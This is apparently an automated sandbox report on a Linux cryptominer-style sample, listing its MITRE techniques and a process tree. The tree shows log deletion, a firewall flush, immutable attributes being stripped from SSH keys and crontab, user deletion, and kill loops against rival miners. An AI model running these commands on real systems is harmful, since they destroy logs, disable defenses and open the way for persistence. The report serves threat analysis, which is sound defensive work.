b7b12dcb15e682c62eb4151041251b62a4ac86e76ac87f4af65be0818b648174

Analysis

max time kernel
97s
max time network
130s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
16-09-2024 03:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118
Size

28KB
MD5

e3fb4dc382dfa4fe37498329727bea34
SHA1

a2aa6b00de3fb975fce1c3ab6d8e4f290df9a3fd
SHA256

b7b12dcb15e682c62eb4151041251b62a4ac86e76ac87f4af65be0818b648174
SHA512

177954ced290f48bd34fe3d0b2c3bdbc3683772cbd2256c174675cd00a4606ca2fa42b2da4f3d5fbf3c124209b8e367c287bc769378253bcce61fcc57792baaf
SSDEEP

384:p7pQQwQHDf6jlpTWg3vMGQiKMvU/4Qdre21jT58vKpG2Y0orcfKLUv0KZnNEVdeg:p7JVFNcD8FLcIwgiYq0xFB25

Score

7^/10

defense_evasion discovery privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2151	Process not Found

Flushes firewall rules 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
724	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
731	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
897	xargs
1013	xargs
1025	xargs
1331	xargs
1366	xargs
2085	Process not Found
2097	Process not Found
938	xargs
1591	xargs
2101	Process not Found
981	xargs
1671	xargs
994	xargs
1576	xargs
1693	xargs
2144	Process not Found
851	xargs
1151	xargs
1691	xargs
1606	xargs
1743	xargs
2093	Process not Found
907	xargs
1505	xargs
827	xargs
1635	xargs
1759	xargs
1001	xargs
2105	Process not Found
1089	xargs
1111	xargs
1493	xargs
932	xargs
1098	xargs
1679	xargs
2033	Process not Found
1286	xargs
1487	xargs
1586	xargs
1789	xargs
2045	Process not Found
1083	xargs
1529	xargs
1683	xargs
1729	xargs
955	xargs
1713	xargs
1745	xargs
988	xargs
1055	xargs
1216	xargs
1260	xargs
1305	xargs
1601	xargs
967	xargs
1385	xargs
1703	xargs
1707	xargs
1737	xargs
1596	xargs
1765	xargs
2117	Process not Found
753	chattr
791	xargs

Disables AppArmor 16 IoCs

Disables AppArmor security module.

pid	Process
2127	Process not Found
2127	Process not Found
2126	Process not Found
2127	Process not Found
2132	Process not Found
2127	Process not Found
2119	Process not Found
2119	Process not Found
2119	Process not Found
2130	Process not Found
2127	Process not Found
2134	Process not Found
2119	Process not Found
2119	Process not Found
2119	Process not Found
2127	Process not Found

Disables SELinux 1 IoCs

Disables SELinux security module.

pid	Process
2118	Process not Found

Enumerates running processes
Discovers information about currently running processes on the system

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	bitbucket.org
12	bitbucket.org

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 8 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found
File opened for reading	/sys/fs/kdbus/0-system/bus	Process not Found

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/332/cmdline	pgrep
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/703/status	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/332/status	ps
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/332/cmdline	ps
File opened for reading	/proc/77/stat	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/82/stat	ps
File opened for reading	/proc/72/cmdline	pgrep
File opened for reading	/proc/948/stat	ps
File opened for reading	/proc/79/cmdline	ps
File opened for reading	/proc/333/status	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/711/status	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/7/status	pgrep
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/686/status	ps
File opened for reading	/proc/1077/status	ps
File opened for reading	/proc/685/stat	ps
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/158/status	ps
File opened for reading	/proc/384/stat	ps
File opened for reading	/proc/685/status	ps
File opened for reading	/proc/998/cmdline	ps
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/674/status	Process not Found
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/384/stat	ps
File opened for reading	/proc/674/cmdline	ps
File opened for reading	/proc/707/status	pkill
File opened for reading	/proc/14/cmdline	pgrep
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/1490/cmdline	ps
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/671/status	ps
File opened for reading	/proc/81/cmdline	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/248/status	Process not Found
File opened for reading	/proc/429/status	pgrep
File opened for reading	/proc/429/stat	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/674/stat	ps
File opened for reading	/proc/709/status	ps
File opened for reading	/proc/704/stat	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/1384/stat	ps
File opened for reading	/proc/71/status	ps
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/680/stat	ps
File opened for reading	/proc/383/cmdline	pkill
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/37/status	pgrep
File opened for reading	/proc/13/cmdline	Process not Found
File opened for reading	/proc/127/cmdline	pgrep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118

/tmp/e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118
/tmp/e3fb4dc382dfa4fe37498329727bea34_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:711
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:713
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:714
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:716
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  PID:718
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  PID:722
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:724
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:731
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:742
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1sq0yq-0000By-VL
      4⤵
      PID:756
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:745
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1sq0yr-0000C1-0l
      4⤵
      PID:755
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:747
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:748
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:750
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:752
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:753
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:757
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:758
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:760
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:762
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:763
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:766
- /bin/ps
  ps aux
  2⤵
  PID:765
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:772
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:771
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:770
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:778
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:777
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:776
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:775
- /bin/grep
  grep -v -
  2⤵
  PID:783
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:784
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:782
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:781
- /bin/grep
  grep :443
  2⤵
  PID:780
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:789
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:788
- /bin/grep
  grep -v -
  2⤵
  PID:790
- /bin/grep
  grep :23
  2⤵
  PID:787
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:791
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:797
- /bin/grep
  grep -v -
  2⤵
  PID:796
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:795
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:794
- /bin/grep
  grep :443
  2⤵
  PID:793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:803
- /bin/grep
  grep -v -
  2⤵
  PID:802
- /bin/grep
  grep :143
  2⤵
  PID:799
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:801
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:800
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:809
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:807
- /bin/grep
  grep -v -
  2⤵
  PID:808
- /bin/grep
  grep :2222
  2⤵
  PID:805
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:806
- /bin/grep
  grep -v -
  2⤵
  PID:814
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:815
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:813
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:812
- /bin/grep
  grep :3333
  2⤵
  PID:811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:821
- /bin/grep
  grep -v -
  2⤵
  PID:820
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:819
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:818
- /bin/grep
  grep :3389
  2⤵
  PID:817
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:827
- /bin/grep
  grep -v -
  2⤵
  PID:826
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:825
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:824
- /bin/grep
  grep :4444
  2⤵
  PID:823
- /bin/grep
  grep -v -
  2⤵
  PID:832
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:831
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:833
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:830
- /bin/grep
  grep :5555
  2⤵
  PID:829
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:839
- /bin/grep
  grep -v -
  2⤵
  PID:838
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:837
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:836
- /bin/grep
  grep :6666
  2⤵
  PID:835
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:845
- /bin/grep
  grep -v -
  2⤵
  PID:844
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:843
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:842
- /bin/grep
  grep :6665
  2⤵
  PID:841
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:851
- /bin/grep
  grep -v -
  2⤵
  PID:850
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:849
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:848
- /bin/grep
  grep :6667
  2⤵
  PID:847
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:857
- /bin/grep
  grep -v -
  2⤵
  PID:856
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:855
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:854
- /bin/grep
  grep :7777
  2⤵
  PID:853
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:863
- /bin/grep
  grep -v -
  2⤵
  PID:862
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:861
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:860
- /bin/grep
  grep :8444
  2⤵
  PID:859
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:869
- /bin/grep
  grep -v -
  2⤵
  PID:868
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:867
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:866
- /bin/grep
  grep :3347
  2⤵
  PID:865
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:875
- /bin/grep
  grep -v -
  2⤵
  PID:874
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:873
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:872
- /bin/grep
  grep :14444
  2⤵
  PID:871
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:881
- /bin/grep
  grep -v -
  2⤵
  PID:880
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:879
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:878
- /bin/grep
  grep :14433
  2⤵
  PID:877
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:887
- /bin/grep
  grep -v -
  2⤵
  PID:886
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:885
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:884
- /bin/grep
  grep :13531
  2⤵
  PID:883
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:892
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:891
- /bin/grep
  grep -v grep
  2⤵
  PID:890
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:889
- /bin/ps
  ps aux
  2⤵
  PID:888
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:897
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:896
- /bin/grep
  grep -v grep
  2⤵
  PID:895
- /bin/grep
  grep ./crun
  2⤵
  PID:894
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:893
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:902
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:901
- /bin/grep
  grep -v grep
  2⤵
  PID:900
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:899
- /bin/ps
  ps aux
  2⤵
  PID:898
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:907
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:906
- /bin/grep
  grep :3333
  2⤵
  PID:905
- /bin/grep
  grep -v grep
  2⤵
  PID:904
- /bin/ps
  ps aux
  2⤵
  PID:903
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:911
- /bin/grep
  grep :5555
  2⤵
  PID:910
- /bin/grep
  grep -v grep
  2⤵
  PID:909
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:908
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:917
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:916
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:915
- /bin/grep
  grep -v grep
  2⤵
  PID:914
- /bin/ps
  ps aux
  2⤵
  PID:913
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:922
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:921
- /bin/grep
  grep log_
  2⤵
  PID:920
- /bin/grep
  grep -v grep
  2⤵
  PID:919
- /bin/ps
  ps aux
  2⤵
  PID:918
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:927
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:926
- /bin/grep
  grep systemten
  2⤵
  PID:925
- /bin/grep
  grep -v grep
  2⤵
  PID:924
- /bin/ps
  ps aux
  2⤵
  PID:923
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:932
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:933
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:933
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:933
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:933
- - /sbin/kill
    kill -9 10
    3⤵
    PID:933
- - /bin/kill
    kill -9 10
    3⤵
    - Reads CPU attributes
    PID:933
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:931
- /bin/grep
  grep netns
  2⤵
  PID:930
- /bin/grep
  grep -v grep
  2⤵
  PID:929
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:928
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:938
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:937
- /bin/grep
  grep voltuned
  2⤵
  PID:936
- /bin/grep
  grep -v grep
  2⤵
  PID:935
- /bin/ps
  ps aux
  2⤵
  PID:934
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:943
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:942
- /bin/grep
  grep darwin
  2⤵
  PID:941
- /bin/grep
  grep -v grep
  2⤵
  PID:940
- /bin/ps
  ps aux
  2⤵
  PID:939
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:947
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:948
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:946
- /bin/grep
  grep -v grep
  2⤵
  PID:945
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:944
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:955
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:954
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:953
- /bin/grep
  grep -v grep
  2⤵
  PID:952
- /bin/ps
  ps aux
  2⤵
  PID:951
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:960
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:961
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:959
- /bin/grep
  grep -v grep
  2⤵
  PID:958
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:957
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:967
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:966
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:965
- /bin/grep
  grep -v grep
  2⤵
  PID:964
- /bin/ps
  ps aux
  2⤵
  PID:963
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:974
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:973
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:972
- /bin/grep
  grep -v grep
  2⤵
  PID:971
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:970
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:981
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:980
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:979
- /bin/grep
  grep -v grep
  2⤵
  PID:978
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:977
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:988
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:987
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:986
- /bin/grep
  grep -v grep
  2⤵
  PID:985
- /bin/ps
  ps aux
  2⤵
  PID:984
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:994
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:993
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:992
- /bin/grep
  grep -v grep
  2⤵
  PID:991
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1001
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1000
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:999
- /bin/grep
  grep -v grep
  2⤵
  PID:998
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:997
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1007
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1006
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1005
- /bin/grep
  grep -v grep
  2⤵
  PID:1004
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1013
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1012
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1011
- /bin/grep
  grep -v grep
  2⤵
  PID:1010
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1019
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1018
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1017
- /bin/grep
  grep -v grep
  2⤵
  PID:1016
- /bin/ps
  ps aux
  2⤵
  PID:1015
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1023
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1024
- /bin/ps
  ps aux
  2⤵
  PID:1021
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1025
- /bin/grep
  grep -v grep
  2⤵
  PID:1022
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1031
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1030
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1029
- /bin/grep
  grep -v grep
  2⤵
  PID:1028
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1027
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1038
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1037
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1036
- /bin/grep
  grep -v grep
  2⤵
  PID:1035
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1034
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1045
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1043
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1044
- /bin/grep
  grep -v grep
  2⤵
  PID:1042
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1041
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1055
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1054
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1053
- /bin/grep
  grep -v grep
  2⤵
  PID:1052
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1051
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1060
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1059
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1058
- /bin/grep
  grep -v grep
  2⤵
  PID:1057
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1056
- /usr/bin/xargs
